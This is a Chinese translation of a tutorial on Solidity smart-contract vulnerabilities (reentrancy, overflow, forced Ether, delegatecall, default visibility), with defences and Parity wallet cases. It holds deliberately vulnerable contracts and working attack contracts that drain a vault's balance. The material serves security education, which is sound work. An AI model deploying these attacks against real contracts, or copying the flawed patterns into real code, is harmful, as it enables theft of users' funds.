Solidity 安全:已知攻擊方法和常見防禦模式綜合列表(上)

區塊鏈兄弟社區,區塊鏈技術專業問答先行者,中國區塊鏈技術愛好者聚集地

Solidity 安全:已知攻擊方法和常見防禦模式綜合列表(上)

校對:keywolf@慢霧安全團隊

原文鏈接:https://blog.sigmaprime.io/solidity-security.html

本文約10000字+,閱讀(觀看)需要60分鐘


雖然處於起步階段,但是 Solidity 已被廣泛採用,並被用於編譯我們今天看到的許多以太坊智能合約中的字節碼。相應地,開發者和用戶也獲得許多嚴酷的教訓,例如發現語言和EVM的細微差別。這篇文章旨在作為一個相對深入和最新的介紹性文章,詳述 Solidity 開發人員曾經踩過的坑,避免後續開發者重蹈覆轍。

重入漏洞

以太坊智能合約的特點之一是能夠調用和利用其他外部合約的代碼。合約通常也處理Ether,因此通常會將Ether發送給各種外部用戶地址。調用外部合約或將以太網發送到地址的操作需要合約提交外部調用。這些外部調用可能被攻擊者劫持,迫使合約執行進一步的代碼(即通過回退函數),包括回調自身。因此代碼執行“ 重新進入 ”合約。這種攻擊被用於臭名昭著的DAO攻擊。

漏洞

當合約將ether發送到未知地址時,可能會發生此攻擊。攻擊者可以在fallback函數中的外部地址處構建一個包含惡意代碼的合約。因此,當合約向此地址發送ether時,它將調用惡意代碼。通常,惡意代碼在易受攻擊的合約上執行一項功能,執行開發人員不希望的操作。“重入”這個名稱來源於外部惡意合約回覆了易受攻擊合約的功能,並在易受攻擊的合約的任意位置“ 重新輸入”了代碼執行。

為了澄清這一點,請考慮簡單易受傷害的合約,該合約充當以太坊保險庫,允許存款人每週只提取1個Ether。

EtherStore.sol:

contract EtherStore {

uint256 public withdrawalLimit = 1 ether;

mapping(address => uint256) public lastWithdrawTime;

mapping(address => uint256) public balances;

function depositFunds() public payable {

balances[msg.sender] += msg.value;

}

function withdrawFunds (uint256 _weiToWithdraw) public {

require(balances[msg.sender] >= _weiToWithdraw);

// limit the withdrawal

require(_weiToWithdraw <= withdrawalLimit);

// limit the time allowed to withdraw

require(now >= lastWithdrawTime[msg.sender] + 1 weeks);

require(msg.sender.call.value(_weiToWithdraw)());

balances[msg.sender] -= _weiToWithdraw;

lastWithdrawTime[msg.sender] = now;

}

}

該合約有兩個公共職能。depositFunds()和withdrawFunds()。該depositFunds()功能只是增加發件人餘額。該withdrawFunds()功能允許發件人指定要撤回的wei的數量。如果所要求的退出金額小於1Ether並且在上週沒有發生撤回,它才會成功。還是呢?...

該漏洞出現在[17]行,我們向用戶發送他們所要求的以太數量。考慮一個惡意攻擊者創建下列合約,

Attack.sol:

import "EtherStore.sol";

contract Attack {

EtherStore public etherStore;

// intialise the etherStore variable with the contract address

constructor(address _etherStoreAddress) {

etherStore = EtherStore(_etherStoreAddress);

}

function pwnEtherStore() public payable {

// attack to the nearest ether

require(msg.value >= 1 ether);

// send eth to the depositFunds() function

etherStore.depositFunds.value(1 ether)();

// start the magic

etherStore.withdrawFunds(1 ether);

}

function collectEther() public {

msg.sender.transfer(this.balance);

}

// fallback function - where the magic happens

function () payable {

if (etherStore.balance > 1 ether) {

etherStore.withdrawFunds(1 ether);

}

}

}

讓我們看看這個惡意合約是如何利用我們的EtherStore合約的。攻擊者可以0x0...123使用EtherStore合約地址作為構造函數參數來創建上述合約(假設在地址中)。這將初始化並將公共變量etherStore指向我們想要攻擊的合約。

然後攻擊者會調用這個pwnEtherStore()函數,並且有一些以太(大於或等於1),1 ether這個例子可以說。在這個例子中,我們假設一些其他用戶已經將以太幣存入這份合約中,這樣它的當前餘額就是10 ether。然後會發生以下情況:

1. Attack.sol -Line[15] -的depositFunds()所述EtherStore合約的功能將與被叫msg.value的1 ether(和大量gas)。sender(msg.sender)將是我們的惡意合約(0x0...123)。因此,balances[0x0..123] = 1 ether。

2. Attack.sol - Line [17] - 惡意合約將使用一個參數來調用合約的withdrawFunds()功能。這將通過所有要求(合約的行[12] - [16] ),因為我們以前沒有提款。

3. EtherStore.sol - 行[17] - 合約將發送1 ether回惡意合約。

4. Attack.sol - Line [25] - 發送給惡意合約的以太網將執行後備功能。

5. Attack.sol - Line [26] - EtherStore合約的總餘額是10 ether,現在9 ether是這樣,如果聲明通過。

6. Attack.sol - Line [27] - 回退函數然後EtherStore withdrawFunds()再次調用該函數並“ 重新輸入 ” EtherStore合約。

7. EtherStore.sol - 行[11] - 在第二次調用時withdrawFunds(),我們的餘額仍然1 ether是行[18]尚未執行。因此,我們仍然有balances[0x0..123] = 1 ether。lastWithdrawTime變量也是這種情況。我們再次通過所有要求。

8. EtherStore.sol - 行[17] - 我們撤回另一個1 ether。

9. 步驟4-8將重複 - 直到EtherStore.balance >= 1[26]行所指定的Attack.sol。

10. Attack.sol - Line [26] - 一旦在EtherStore合約中留下少於1(或更少)的ether,此if語句將失敗。這樣就EtherStore可以執行合約的[18]和[19]行(每次調用withdrawFunds()函數)。

11. EtherStore.sol - 行[18]和[19] - balances和lastWithdrawTime映射將被設置並且執行將結束。

最終的結果是,攻擊者已經從EtherStore合約中立即撤銷了所有(第1條)以太網,只需一筆交易即可。

預防技術

有許多常用技術可以幫助避免智能合約中潛在的重入漏洞。首先是(在可能的情況下)在將ether發送給外部合約時使用內置的transfer()函數。轉賬功能只發送2300 gas不足以使目的地地址/合約調用另一份合約(即重新輸入發送合約)。

第二種技術是確保所有改變狀態變量的邏輯發生在ether被髮送出合約(或任何外部調用)之前。在這個EtherStore例子中,[18]和[19]行EtherStore.sol應放在行[17]之前。將任何執行外部調用的代碼放置在未知地址上作為本地化函數或代碼執行中的最後一個操作是一種很好的做法。這被稱為檢查效果交互(checks-effects-interactions)模式。

第三種技術是引入互斥鎖。也就是說,要添加一個在代碼執行過程中鎖定合約的狀態變量,阻止重入調用。 應用所有這些技術(所有這三種技術都是不必要的,但是這些技術是為了演示目的而完成的)

EtherStore.sol給出了無再簽約合約:

contract EtherStore {

// initialise the mutex

bool reEntrancyMutex = false;

uint256 public withdrawalLimit = 1 ether;

mapping(address => uint256) public lastWithdrawTime;

mapping(address => uint256) public balances;

function depositFunds() public payable {

balances[msg.sender] += msg.value;

}

function withdrawFunds (uint256 _weiToWithdraw) public {

require(!reEntrancyMutex);

require(balances[msg.sender] >= _weiToWithdraw);

// limit the withdrawal

require(_weiToWithdraw <= withdrawalLimit);

// limit the time allowed to withdraw

require(now >= lastWithdrawTime[msg.sender] + 1 weeks);

balances[msg.sender] -= _weiToWithdraw;

lastWithdrawTime[msg.sender] = now;

// set the reEntrancy mutex before the external call

reEntrancyMutex = true;

msg.sender.transfer(_weiToWithdraw);

// release the mutex after the external call

reEntrancyMutex = false;

}

}

真實的例子:DAO

DAO(分散式自治組織)是以太坊早期發展的主要黑客之一。當時,該合約持有1.5億美元以上。重入在這次攻擊中發揮了重要作用,最終導致了Ethereum Classic(ETC)的分叉。有關DAO漏洞的詳細分析,請參閱Phil Daian的文章。

算法上下溢出

以太坊虛擬機(EVM)為整數指定固定大小的數據類型。這意味著一個整型變量只能有一定範圍的數字表示。A uint8例如,只能存儲在範圍[0,255]的數字。試圖存儲256到一個uint8將導致0。如果不注意,如果不選中用戶輸入並執行計算,導致數字超出存儲它們的數據類型的範圍,則可以利用Solidity中的變量。

漏洞

當執行操作需要固定大小的變量來存儲超出變量數據類型範圍的數字(或數據)時,會發生溢出/不足流量。

例如,1從一個uint8(無符號的8位整數,即只有正數)變量中減去存儲0該值的變量將導致該數量255。這是一個下溢。我們已經為該範圍下的一個數字分配了一個數字uint8,結果包裹並給出了uint8可以存儲的最大數字。同樣,加入2^8=256 到a uint8會使變量保持不變,因為我們已經包裹了整個長度uint(對於數學家來說,這類似於將三角函數的角度加上$ 2 \ pi $,$ \ sin(x)= \的sin(x + 2 \ PI)$)。

添加大於數據類型範圍的數字稱為溢出。為了清楚起見,添加257到一個uint8目前有一個零值將導致數字1。將固定類型變量設為循環有時很有啟發意義,如果我們在最大可能存儲數字之上添加數字,我們從零開始,反之亦然為零(我們從最大數字開始倒數,從中減去的數字越多) 0)。

這些類型的漏洞允許攻擊者濫用代碼並創建意外的邏輯流程。例如,請考慮下面的時間鎖定合約。

TimeLock.sol:

contract TimeLock {

mapping(address => uint) public balances;

mapping(address => uint) public lockTime;

function deposit() public payable {

balances[msg.sender] += msg.value;

lockTime[msg.sender] = now + 1 weeks;

}

function increaseLockTime(uint _secondsToIncrease) public {

lockTime[msg.sender] += _secondsToIncrease;

}

function withdraw() public {

require(balances[msg.sender] > 0);

require(now > lockTime[msg.sender]);

balances[msg.sender] = 0;

msg.sender.transfer(balances[msg.sender]);

}

}

這份合約的設計就像是一個時間保險庫,用戶可以將Ether存入合約,並在那裡鎖定至少一週。如果用戶選擇的話,用戶可以延長超過1周的時間,但是一旦存放,用戶可以確信他們的Ether被安全鎖定至少一週。或者他們可以嗎?...

如果用戶被迫交出他們的私鑰(認為是人質情況),像這樣的合約可能很方便,以確保在短時間內無法獲得Ether。如果用戶已經鎖定了100 ether合約並將其密鑰交給了攻擊者,那麼攻擊者可以使用溢出來接收以太網,無論如何lockTime。

攻擊者可以確定lockTime他們現在擁有密鑰的地址(它是一個公共變量)。我們稱之為userLockTime。然後他們可以調用該increaseLockTime函數並將該數字作為參數傳遞2^256 - userLockTime。該號碼將被添加到當前userLockTime並導致溢出,重置lockTime[msg.sender]為0。攻擊者然後可以簡單地調用withdraw函數來獲得他們的獎勵。

我們來看另一個例子,來自Ethernaut Challanges的這個例子。

SPOILER ALERT: 如果你還沒有完成Ethernaut的挑戰,這可以解決其中一個難題。

pragma solidity ^0.4.18;

contract Token {

mapping(address => uint) balances;

uint public totalSupply;

function Token(uint _initialSupply) {

balances[msg.sender] = totalSupply = _initialSupply;

}

function transfer(address _to, uint _value) public returns (bool) {

require(balances[msg.sender] - _value >= 0);

balances[msg.sender] -= _value;

balances[_to] += _value;

return true;

}

function balanceOf(address _owner) public constant returns (uint balance) {

return balances[_owner];

}

}

這是一個簡單的令牌合約,它使用一個transfer()功能,允許參與者移動他們的令牌。你能看到這份合約中的錯誤嗎?

缺陷出現在transfer()功能中。行[13]上的require語句可以使用下溢來繞過。考慮一個沒有平衡的用戶。他們可以transfer()用任何非零值調用函數,_value並在行[13]上傳遞require語句。這是因為balances[msg.sender] 零(和a uint256)因此減去任何正數(不包括2^256)將導致正數,這是由於我們上面描述的下溢。對於[14]行也是如此,我們的餘額將記入正數。因此,在這個例子中,我們由於下溢漏洞而實現了自由標記。

預防技術

防止溢出漏洞的(當前)常規技術是使用或建立取代標準數學運算符的數學庫; 加法,減法和乘法(劃分被排除,因為它不會導致過量/不足流量,並且EVM將被0除法)。

OppenZepplin在構建和審計Ethereum社區可以利用的安全庫方面做得非常出色。特別是,他們的SafeMath是一個參考或庫,用來避免漏洞/溢出漏洞。

為了演示如何在Solidity中使用這些庫,讓我們TimeLock使用Open Zepplin的SafeMath庫更正合約。超自由合約將變為:

library SafeMath {

function mul(uint256 a, uint256 b) internal pure returns (uint256) {

if (a == 0) {

return 0;

}

uint256 c = a * b;

assert(c / a == b);

return c;

}

function div(uint256 a, uint256 b) internal pure returns (uint256) {

// assert(b > 0); // Solidity automatically throws when dividing by 0

uint256 c = a / b;

// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;

}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {

assert(b <= a);

return a - b;

}

function add(uint256 a, uint256 b) internal pure returns (uint256) {

uint256 c = a + b;

assert(c >= a);

return c;

}

}

contract TimeLock {

using SafeMath for uint; // use the library for uint type

mapping(address => uint256) public balances;

mapping(address => uint256) public lockTime;

function deposit() public payable {

balances[msg.sender] = balances[msg.sender].add(msg.value);

lockTime[msg.sender] = now.add(1 weeks);

}

function increaseLockTime(uint256 _secondsToIncrease) public {

lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);

}

function withdraw() public {

require(balances[msg.sender] > 0);

require(now > lockTime[msg.sender]);

balances[msg.sender] = 0;

msg.sender.transfer(balances[msg.sender]);

}

}

請注意,所有標準的數學運算已被SafeMath庫中定義的數學運算所取代。該TimeLock合約不再執行任何能夠進行一個 向下/越界的操作。

實際示例:PoWHC和批量傳輸溢出(CVE-2018-10299)

一個4chan小組決定用Solidity編寫一個在Ethereum上構建龐氏騙局的好主意。他們稱它為弱手硬幣證明(PoWHC)。不幸的是,似乎合約的作者之前沒有看到過/不足的流量,因此,866Ether從合約中解放出來。在Eric Banisadar的文章中,我們很好地概述了下溢是如何發生的(這與上面的Ethernaut挑戰不太相似)。

一些開發人員還batchTransfer()為一些ERC20令牌合約實施了一項功能。該實現包含溢出。這篇文章對此進行了解釋,但是我認為標題有誤導性,因為它與ERC20標準無關,而是一些ERC20令牌合約batchTransfer()實施了易受攻擊的功能。

意外的Ether

通常,當Ether發送到合約時,它必須執行回退功能或合約中描述的其他功能。這有兩個例外,其中ether可以存在於合約中而不執行任何代碼。依賴代碼執行的合約發送給合約的每個以太可能容易受到強制發送給合約的攻擊。

漏洞

一種常用的防禦性編程技術對於執行正確的狀態轉換或驗證操作很有用,它是不變檢查。該技術涉及定義一組不變量(不應改變的度量或參數),並且在單個(或多個)操作之後檢查這些不變量保持不變。這通常是很好的設計,只要檢查的不變量實際上是不變量。不變量的一個例子是totalSupply固定發行ERC20令牌。由於沒有函數應該修改此不變量,因此可以在該transfer()函數中添加一個檢查以確保totalSupply保持未修改狀態,以確保函數按預期工作。

不管智能合約中規定的規則如何,特別是有一個明顯的“不變”,可能會誘使開發人員使用,但事實上可以由外部用戶操縱。這是合約中存儲的當前以太。通常,當開發人員首先學習Solidity時,他們有一種誤解,認為合約只能通過付費功能接受或獲得以太。這種誤解可能會導致合約對其內部的以太平衡有錯誤的假設,這會導致一系列的漏洞。此漏洞的吸菸槍是(不正確)使用this.balance。正如我們將看到的,錯誤的使用this.balance會導致這種類型的嚴重漏洞。

有兩種方式可以將ether(強制)發送給合約,而無需使用payable函數或執行合約中的任何代碼。這些在下面列出。

自毀/自殺

任何合約都能夠實現該selfdestruct(address)功能,該功能從合約地址中刪除所有字節碼,並將所有存儲在那裡的ether發送到參數指定的地址。如果此指定的地址也是合約,則不會調用任何功能(包括故障預置)。因此,selfdestruct()無論合約中可能存在的任何代碼,該功能都可以用來強制將Ether 發送給任何合約。這包括沒有任何應付功能的合約。這意味著,任何攻擊者都可以與某個selfdestruct()功能創建合約,向其發送以太,致電selfdestruct(target)並強制將以太網發送至target合約。Martin Swende有一篇出色的博客文章描述了自毀操作碼(Quirk#2)的一些怪癖,並描述了客戶端節點如何檢查不正確的不變量,這可能會導致相當災難性的客戶端問題。

預先發送Ether

合約可以不使用selfdestruct()函數或調用任何應付函數就可以獲得以太的第二種方式是使用ether 預裝合約地址。合約地址是確定性的,實際上地址是根據創建合約的地址的哈希值和創建合約的事務現時值計算得出的。即形式:(address = sha3(rlp.encode([account_address,transaction_nonce]))請參閱Keyless Ether的一些有趣的使用情況)。這意味著,任何人都可以在創建合約地址之前計算出合約地址,並將Ether發送到該地址。當合約確實創建時,它將具有非零的Ether餘額。 根據上述知識,我們來探討一些可能出現的缺陷。 考慮過於簡單的合約,

EtherGame.sol:

contract EtherGame {

uint public payoutMileStone1 = 3 ether;

uint public mileStone1Reward = 2 ether;

uint public payoutMileStone2 = 5 ether;

uint public mileStone2Reward = 3 ether;

uint public finalMileStone = 10 ether;

uint public finalReward = 5 ether;

mapping(address => uint) redeemableEther;

// users pay 0.5 ether. At specific milestones, credit their accounts

function play() public payable {

require(msg.value == 0.5 ether); // each play is 0.5 ether

uint currentBalance = this.balance + msg.value;

// ensure no players after the game as finished

require(currentBalance <= finalMileStone);

// if at a milestone credit the players account

if (currentBalance == payoutMileStone1) {

redeemableEther[msg.sender] += mileStone1Reward;

}

else if (currentBalance == payoutMileStone2) {

redeemableEther[msg.sender] += mileStone2Reward;

}

else if (currentBalance == finalMileStone ) {

redeemableEther[msg.sender] += finalReward;

}

return;

}

function claimReward() public {

// ensure the game is complete

require(this.balance == finalMileStone);

// ensure there is a reward to give

require(redeemableEther[msg.sender] > 0);

redeemableEther[msg.sender] = 0;

msg.sender.transfer(redeemableEther[msg.sender]);

}

}

這個合約代表一個簡單的遊戲(自然會引起條件競爭),玩家0.5 ether可以將合約發送給合約,希望成為第一個達到三個里程碑之一的玩家。里程碑以ether計價。當遊戲結束時,第一個達到里程碑的人可能會要求其中的一部分。當達到最後的里程碑(10 ether)時,遊戲結束,用戶可以申請獎勵。

EtherGame合約的問題來自this.balance兩條線[14](以及協會[16])和[32] 的不良使用。一個調皮的攻擊者可以0.1 ether通過selfdestruct()函數(上面討論過的)強行發送少量的以太,以防止未來的玩家達到一個里程碑。由於所有合法玩家只能發送0.5 ether增量,this.balance不再是半個整數,因為它也會0.1 ether有貢獻。這可以防止[18],[21]和[24]行的所有條件成立。

更糟糕的是,一個錯過了里程碑的Ethereum的攻擊者可能會強行發送10 ether(或者等同數量的以太會將合約的餘額推到上面finalMileStone),這將永久鎖定合約中的所有獎勵。這是因為該claimReward()函數總是會回覆,因為[32]上的要求(即this.balance大於finalMileStone)。

預防技術

這個漏洞通常是由於濫用this.balance。如果可能,合約邏輯應該避免依賴於合約餘額的確切值,因為它可以被人為地操縱。如果基於邏輯應用this.balance,確保考慮到意外的餘額。

如果需要確定的沉積ether值,則應使用自定義變量,以增加應付功能,以安全地追蹤沉積的ether。這個變量不會受到通過selfdestruct()調用發送的強制以太網的影響。

考慮到這一點,修正後的EtherGame合約版本可能如下所示:

contract EtherGame {

uint public payoutMileStone1 = 3 ether;

uint public mileStone1Reward = 2 ether;

uint public payoutMileStone2 = 5 ether;

uint public mileStone2Reward = 3 ether;

uint public finalMileStone = 10 ether;

uint public finalReward = 5 ether;

uint public depositedWei;

mapping (address => uint) redeemableEther;

function play() public payable {

require(msg.value == 0.5 ether);

uint currentBalance = depositedWei + msg.value;

// ensure no players after the game as finished

require(currentBalance <= finalMileStone);

if (currentBalance == payoutMileStone1) {

redeemableEther[msg.sender] += mileStone1Reward;

}

else if (currentBalance == payoutMileStone2) {

redeemableEther[msg.sender] += mileStone2Reward;

}

else if (currentBalance == finalMileStone ) {

redeemableEther[msg.sender] += finalReward;

}

depositedWei += msg.value;

return;

}

function claimReward() public {

// ensure the game is complete

require(depositedWei == finalMileStone);

// ensure there is a reward to give

require(redeemableEther[msg.sender] > 0);

redeemableEther[msg.sender] = 0;

msg.sender.transfer(redeemableEther[msg.sender]);

}

}

在這裡,我們剛剛創建了一個新變量,depositedEther它跟蹤已知的以太存儲,並且這是我們執行需求和測試的變量。請注意,我們不再有任何參考this.balance。

真實世界的例子:未知

我還沒有找到這個在野被利用的例子。然而,在弱勢群體競賽中給出了一些可利用的合約的例子。

Delegatecall

在CALL與DELEGATECALL操作碼是允許Ethereum開發者modularise他們的代碼非常有用。對契約的標準外部消息調用由CALL操作碼處理,由此代碼在外部契約/功能的上下文中運行。該DELEGATECALL碼是相同的標準消息的調用,但在目標地址執行的代碼在調用合約的情況下與事實一起運行msg.sender,並msg.value保持不變。該功能支持實現庫,開發人員可以為未來的合約創建可重用的代碼。

雖然這兩個操作碼之間的區別很簡單直觀,但是使用DELEGATECALL會導致意外的代碼執行。

漏洞

保護環境的性質DELEGATECALL已經證明,構建無脆弱性的定製庫並不像人們想象的那麼容易。庫中的代碼本身可以是安全的,無漏洞的,但是當在另一個應用程序的上下文中運行時,可能會出現新的漏洞。讓我們看一個相當複雜的例子,使用斐波那契數字。

考慮下面的庫可以生成斐波那契數列和相似形式的序列。 FibonacciLib.sol[^ 1]

// library contract - calculates fibonacci-like numbers;

contract FibonacciLib {

// initializing the standard fibonacci sequence;

uint public start;

uint public calculatedFibNumber;

// modify the zeroth number in the sequence

function setStart(uint _start) public {

start = _start;

}

function setFibonacci(uint n) public {

calculatedFibNumber = fibonacci(n);

}

function fibonacci(uint n) internal returns (uint) {

if (n == 0) return start;

else if (n == 1) return start + 1;

else return fibonacci(n - 1) + fibonacci(n - 2);

}

}

該庫提供了一個函數,可以在序列中生成第n個斐波那契數。它允許用戶更改第0個start數字並計算這個新序列中的第n個斐波那契數字。

現在我們來考慮一個利用這個庫的合約。

FibonacciBalance.sol:

contract FibonacciBalance {

address public fibonacciLibrary;

// the current fibonacci number to withdraw

uint public calculatedFibNumber;

// the starting fibonacci sequence number

uint public start = 3;

uint public withdrawalCounter;

// the fibonancci function selector

bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));

// constructor - loads the contract with ether

constructor(address _fibonacciLibrary) public payable {

fibonacciLibrary = _fibonacciLibrary;

}

function withdraw() {

withdrawalCounter += 1;

// calculate the fibonacci number for the current withdrawal user

// this sets calculatedFibNumber

require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));

msg.sender.transfer(calculatedFibNumber * 1 ether);

}

// allow users to call fibonacci library functions

function() public {

require(fibonacciLibrary.delegatecall(msg.data));

}

}

該合約允許參與者從合約中提取ether,ether的金額等於與參與者提款訂單相對應的斐波納契數字; 即第一個參與者獲得1個ether,第二個參與者獲得1,第三個獲得2,第四個獲得3,第五個5等等(直到合約的餘額小於被撤回的斐波納契數)。

本合約中有許多要素可能需要一些解釋。首先,有一個有趣的變量,fibSig。這包含字符串“fibonacci(uint256)”的Keccak(SHA-3)散列的前4個字節。這被稱為函數選擇器,calldata用於指定智能合約的哪個函數將被調用。它在delegatecall[21]行的函數中用來指定我們希望運行該fibonacci(uint256)函數。第二個參數delegatecall是我們傳遞給函數的參數。其次,我們假設FibonacciLib庫的地址在構造函數中正確引用(部署攻擊向量部分 如果合約參考初始化,討論一些與此類相關的潛在漏洞)。

你能在這份合約中發現任何錯誤嗎?如果你把它改成混音,用ether填充並調用withdraw(),它可能會恢復。

您可能已經注意到,在start庫和主調用合約中都使用了狀態變量。在圖書館合約中,start用於指定斐波納契數列的開始並設置為0,而3在FibonacciBalance合約中設置。您可能還注意到,FibonacciBalance合約中的回退功能允許將所有調用傳遞給庫合約,這也允許調用庫合約的setStart()功能。回想一下,我們保留了合約的狀態,看起來這個功能可以讓你改變start本地FibonnacciBalance合約中變量的狀態。如果是這樣,這將允許一個撤回更多的醚,因為結果calculatedFibNumber是依賴於start變量(如圖書館合約中所見)。實際上,該setStart()函數不會(也不能)修改合約中的start變量FibonacciBalance。這個合約中的潛在弱點比僅僅修改start變量要糟糕得多。

在討論實際問題之前,我們先快速繞道瞭解狀態變量(storage變量)實際上是如何存儲在合約中的。狀態或storage變量(持續在單個事務中的變量)slots在合約中引入時按順序放置。(這裡有一些複雜性,我鼓勵讀者閱讀存儲中狀態變量的佈局以便更透徹的理解)。

作為一個例子,讓我們看看library 合約。它有兩個狀態變量,start和calculatedFibNumber。第一個變量是start,因此它被存儲在合約的存儲位置slot[0](即第一個槽)。第二個變量calculatedFibNumber放在下一個可用的存儲槽中slot[1]。如果我們看看這個函數setStart(),它會接受一個輸入並設置start輸入的內容。因此,該功能設置slot[0]為我們在該setStart()功能中提供的任何輸入。同樣,該setFibonacci()函數設置calculatedFibNumber為的結果fibonacci(n)。再次,這只是將存儲設置slot[1]為值fibonacci(n)。

現在讓我們看看FibonacciBalance合約。存儲slot[0]現在對應於fibonacciLibrary地址並slot[1]對應於calculatedFibNumber。它就在這裡出現漏洞。delegatecall 保留合約上下文。這意味著通過執行的代碼delegatecall將作用於調用合約的狀態(即存儲)。

現在請注意,我們在withdraw()[21]線上執行,fibonacciLibrary.delegatecall(fibSig,withdrawalCounter)。這就調用了setFibonacci()我們討論的函數,修改了存儲 slot[1],在我們當前的情況下calculatedFibNumber。這是預期的(即執行後,calculatedFibNumber得到調整)。

但是,請記住,合約中的start變量FibonacciLib位於存儲中slot[0],即fibonacciLibrary當前合約中的地址。這意味著該功能fibonacci()會帶來意想不到的結果。這是因為它引用start(slot[0])當前調用上下文中的fibonacciLibrary哪個地址是地址(當解釋為a時,該地址通常很大uint)。因此,該withdraw()函數很可能會恢復,因為它不包含uint(fibonacciLibrary)ether的量,這是什麼calcultedFibNumber會返回。

更糟糕的是,FibonacciBalance合約允許用戶fibonacciLibrary通過行[26]上的後備功能調用所有功能。正如我們前面所討論的那樣,這包括該setStart()功能。我們討論過這個功能允許任何人修改或設置存儲slot[0]。在這種情況下,存儲slot[0]是fibonacciLibrary地址。

因此,攻擊者可以創建一個惡意合約(下面是一個例子),將地址轉換為uint(這可以在python中輕鬆使用int('',16))然後調用setStart()。這將改變fibonacciLibrary為攻擊合約的地址。然後,無論何時用戶調用withdraw()或回退函數,惡意契約都會運行(這可以竊取合約的全部餘額),因為我們修改了實際地址fibonacciLibrary。這種攻擊合約的一個例子是,

contract Attack {

uint storageSlot0; // corresponds to fibonacciLibrary

uint storageSlot1; // corresponds to calculatedFibNumber

// fallback - this will run if a specified function is not found

function() public {

storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw

// is called we don't send out any ether.

.transfer(this.balance); // we take all the ether

}

}

請注意,此攻擊合約calculatedFibNumber通過更改存儲來修改slot[1]。原則上,攻擊者可以修改他們選擇的任何其他存儲槽來對本合約執行各種攻擊。我鼓勵所有讀者將這些合約放入Remix,並通過這些delegatecall功能嘗試不同的攻擊合約和狀態更改。

同樣重要的是要注意,當我們說這delegatecall是保留狀態時,我們並不是在討論合約的變量名稱,而是這些名稱指向的實際存儲槽位。從這個例子中可以看出,一個簡單的錯誤,可能導致攻擊者劫持整個合約及其以太網。

預防技術

Solidity library為實施library合約提供了關鍵字(參見Solidity Docs瞭解更多詳情)。這確保了library合約是無國籍,不可自毀的。強制library成為無國籍人員可以緩解本節所述的存儲上下文的複雜性。無狀態庫也可以防止攻擊,攻擊者可以直接修改庫的狀態,以實現依賴庫代碼的合約。作為一般的經驗法則,在使用時DELEGATECALL要特別注意庫合約和調用合約的可能調用上下文,並且儘可能構建無狀態庫。

真實世界示例:Parity Multisig Wallet(Second Hack)

第二種Parity Multisig Wallet hack是一個例子,說明如果在非預期的上下文中運行良好的庫代碼的上下文可以被利用。這個黑客有很多很好的解釋,比如這個概述:Parity MultiSig Hacked。再次通過Anthony Akentiev,這個堆棧交換問題和深入瞭解Parity Multisig Bug。

要添加到這些參考資料中,我們來探索被利用的合約。library和錢包合約可以在這裡的奇偶校驗github上找到。

我們來看看這個合約的相關方面。這裡包含兩份利益合約,library合約和錢包合約。 library合約,

contract WalletLibrary is WalletEvents {

...

// throw unless the contract is not yet initialized.

modifier only_uninitialized { if (m_numOwners > 0) throw; _; }

// constructor - just pass on the owner array to the multiowned and

// the limit to daylimit

function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {

initDaylimit(_daylimit);

initMultiowned(_owners, _required);

}

// kills the contract sending everything to `_to`.

function kill(address _to) onlymanyowners(sha3(msg.data)) external {

suicide(_to);

}

...

}

和錢包合約,

contract Wallet is WalletEvents {

...

// METHODS

// gets called when no other function matches

function() payable {

// just being sent some cash?

if (msg.value > 0)

Deposit(msg.sender, msg.value);

else if (msg.data.length > 0)

_walletLibrary.delegatecall(msg.data);

}

...

// FIELDS

address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;

}

請注意,Wallet合約基本上通過WalletLibrary委託調用將所有調用傳遞給合約。_walletLibrary此代碼段中的常量地址充當實際部署的WalletLibrary合約(位於0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4)的佔位符。

這些合約的預期運作是制定一個簡單的低成本可部署Wallet合約,其代碼基礎和主要功能在WalletLibrary合約中。不幸的是,WalletLibrary合約本身就是一個合約,並保持它自己的狀態。你能看出為什麼這可能是一個問題?

有可能向WalletLibrary合約本身發送調用。具體來說,WalletLibrary合約可以初始化,併成為擁有。用戶通過調用契約initWallet()函數來做到這一點,WalletLibrary成為Library合約的所有者。同一個用戶,隨後稱為kill()功能。

因為用戶是Library合約的所有者,所以修改者通過並且Library合約被自動化。由於所有Wallet現存的合約都提及該Library合約,並且不包含更改該參考文獻的方法,因此其所有功能(包括撤回ether的功能)都會隨WalletLibrary合約一起丟失。更直接地說,這種類型的所有奇偶校驗多數錢包中的所有以太會立即丟失或永久不可恢復。

默認可見性

Solidity中的函數具有可見性說明符,它們決定如何調用函數。可見性決定一個函數是否可以由用戶或其他派生契約在外部調用,僅在內部或僅在外部調用。有四個可見性說明符,詳情請參閱Solidity文檔。函數默認public允許用戶從外部調用它們。正如本節將要討論的,可見性說明符的不正確使用可能會導致智能合約中的一些資金流失。

漏洞

函數的默認可見性是public。因此,不指定任何可見性的函數將由外部用戶調用。當開發人員錯誤地忽略應該是私有的功能(或只能在合約本身內調用)的可見性說明符時,問題就出現了。 讓我們快速瀏覽一個簡單的例子。

contract HashForEther {

function withdrawWinnings() {

// Winner if the last 8 hex characters of the address are 0.

require(uint32(msg.sender) == 0);

_sendWinnings();

}

function _sendWinnings() {

msg.sender.transfer(this.balance);

}

}

這個簡單的合約被設計為充當地址猜測賞金遊戲。為了贏得合約的平衡,用戶必須生成一個以太坊地址,其最後8個十六進制字符為0.一旦獲得,他們可以調用該WithdrawWinnings()函數來獲得他們的賞金。 不幸的是,這些功能的可見性尚未明確。特別是,該_sendWinnings()函數是public,因此任何地址都可以調用該函數來竊取賞金。

預防技術

總是指定合約中所有功能的可見性,即使這些功能是有意識的,這是一種很好的做法public。最近版本的Solidity現在將在編譯過程中為未設置明確可見性的函數顯示警告,以幫助鼓勵這種做法。

真實世界示例:奇偶MultiSig錢包(First Hack)

在第一次Parity multi-sig黑客攻擊中,約三千一百萬美元的Ether被盜,主要是三個錢包。Haseeb Qureshi在這篇文章中給出了一個很好的回顧。 實質上,多sig錢包(可以在這裡找到)是從一個基礎Wallet合約構建的,該基礎合約調用包含核心功能的庫合約(如真實世界中的例子:Parity Multisig(Second Hack)中所述)。庫合約包含初始化錢包的代碼,如以下代碼片段所示:

contract WalletLibrary is WalletEvents {

...

// METHODS

...

